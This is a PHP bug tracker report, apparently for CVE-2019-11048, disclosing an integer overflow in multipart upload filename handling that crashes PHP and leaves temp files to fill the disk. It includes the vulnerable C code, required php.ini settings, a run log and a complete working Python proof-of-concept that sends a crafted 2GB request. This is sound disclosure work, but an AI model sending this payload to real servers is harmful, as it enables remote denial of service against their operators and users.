|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2019-11-29 15:14 UTC] jr at coredu dot mp
-Summary: Long filenames crash PHP and lead to disk exhaustion
+Summary: Long filenames cause OOM and temp files are not
cleaned
-Package: Reproducible crash
+Package: *Web Server problem
[2019-11-29 15:14 UTC] jr at coredu dot mp
[2019-12-16 08:18 UTC] stas@php.net
-CVE-ID:
+CVE-ID: 2019-11048
[2020-03-18 09:29 UTC] cmb@php.net
-Status: Open
+Status: Verified
-Assigned To:
+Assigned To: stas
[2020-03-18 09:29 UTC] cmb@php.net
[2020-04-21 07:54 UTC] jr at coredu dot mp
[2020-05-11 21:22 UTC] stas@php.net
[2020-05-11 21:22 UTC] stas@php.net
-Status: Verified
+Status: Closed
[2020-05-12 07:02 UTC] cmb@php.net
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Sat Oct 25 19:00:01 2025 UTC |
Description: ------------ There is a bug in php-src/main/rfc1867.c that allows a malicious user to crash php during a multipart/form-data file upload. A large filename causes an integer overflow that leads to a subsequent crash. The problem is that if multiple files are uploaded at the same time and the bug is triggered with one of the later files, all previous temp files will not be deleted and fill up the disk. This could be used for a easy to execute remote denial of service attack. Required php.ini settings: ; post_max_size needs to be at least 2GB + a few additional bytes for the rest of the form (this depends on the exact POC) ; For the POC attached to this bug report, please use 2147483873 or more. post_max_size = 2147483873 ; this could be remotely set with the MAX_FILE_SIZE form variable but in order to keep the POC as simple as possible, I did not do this ; so set upload_max_filesize to 0 upload_max_filesize = 0 ; according to documentation, memory_limit should always be larger than post_max_size so I set it to 4GB to be on the safe side memory_limit = 4GB The security issue exists in SAPI_API SAPI_POST_HANDLER_FUNC(rfc1867_post_handler) in the handling of large filenames: /* is_arr_upload is true when name of file upload field * ends in [.*] * start_arr is set to point to 1st [ */ is_arr_upload = (start_arr = strchr(param,'[')) && (param[strlen(param)-1] == ']'); if (is_arr_upload) { array_len = (int)strlen(start_arr); if (array_index) { efree(array_index); } array_index = estrndup(start_arr + 1, array_len - 2); } If we upload a file with a array-like name that exceeds the maximum positive 32 bit integer, array_len will be set to a negative value. During the subsequent estrndup(), array_len will be converted to a 64 bit integer that is extremely large and the memory allocation will fail. This causes the script to abruptly exit and the already uploaded temporary files are not deleted. Example run of attached POC: root@vagrant:/var/www/html# ls /tmp/php* ls: cannot access '/tmp/php*': No such file or directory root@vagrant:/var/www/html# python multipart_file_name_oom_crash.py [+] Opening connection to 127.0.0.1 on port 80: Done sending payload with size 2147483873 [*] Switching to interactive mode HTTP/1.1 502 Bad Gateway Server: nginx/1.14.0 (Ubuntu) Date: Mon, 18 Nov 2019 05:31:13 GMT Content-Type: text/html Content-Length: 182 Connection: keep-alive <html> <head><title>502 Bad Gateway</title></head> <body bgcolor="white"> <center><h1>502 Bad Gateway</h1></center> <hr><center>nginx/1.14.0 (Ubuntu)</center> </body> </html> $ [*] Closed connection to 127.0.0.1 port 80 root@vagrant:/var/www/html# ls /tmp/php* /tmp/phpbwGfJu root@vagrant:/var/www/html# cat /tmp/phpbwGfJu testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttestroot@vagrant:/var/www/html# Please note that the python POC requires the pwntools library (pip install pwntools). It posts to localhost:80/poc.php - modify the http request if required, the contents of poc.php do not matter. Test script: --------------- #!/usr/bin/env python from pwn import * r = remote("127.0.0.1", 80) boundary = "FOO" def line(s): return "%s\n" %s buf2 = "" buf2 += line("--"+boundary) buf2 += line('Content-Disposition: form-data; name="test"; filename="test"') buf2 += line("") buf2 += line("test"*0x10) buf2 += line("--"+boundary) buf2 += line('Content-Disposition: form-data; name="foo[%s]"; filename="bar"' % ("a"*(0x7FFFFFFF))) buf2 += line("") buf2 += line("a"*0x10) buf2 += line("--"+boundary+"--") buf = "" buf += "POST /poc.php HTTP/1.1\n" buf += "Host: localhost\n" buf += "Content-Type: multipart/form-data; boundary=%s\n" % boundary buf += "Content-Length: %d\n" % len(buf2) buf += "\n" print "sending payload with size %d" % len(buf2) r.send(buf + buf2) r.interactive() Expected result: ---------------- PHP should not crash, created temporary files should be deleted after script finishes Actual result: -------------- PHP crashes, temporary files remain on disk